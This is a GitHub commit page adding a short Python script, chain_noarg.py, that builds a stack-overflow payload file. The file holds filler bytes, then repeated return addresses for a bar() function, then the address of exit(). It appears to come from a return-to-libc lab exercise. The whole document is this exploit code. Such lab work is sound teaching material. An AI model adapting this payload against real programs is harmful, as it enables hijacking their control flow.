Skip to content

Commit 8ce8bd8

Browse files
authored
Create chain_noarg.py
1 parent 57f229a commit 8ce8bd8

File tree

1 file changed

+20
-0
lines changed

1 file changed

+20
-0
lines changed

chain_noarg.py

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#!/usr/bin/python3
2+
import sys
3+
4+
def tobytes (value):
5+
return (value).to_bytes(4,byteorder='little')
6+
7+
bar_addr = 0x08048567 # Address of bar()
8+
exit_addr = 0xb7e369d0 # Address of exit()
9+
10+
content = bytearray(0xaa for i in range(112))
11+
content += tobytes(0xFFFFFFFF) # This value is not important here.
12+
for i in range(10):
13+
content += tobytes(bar_addr)
14+
15+
# Invoke exit() to exit gracefully at the end
16+
content += tobytes(exit_addr)
17+
18+
# Write the content to a file
19+
with open("badfile", "wb") as f:
20+
f.write(content)

0 commit comments

Comments
 (0)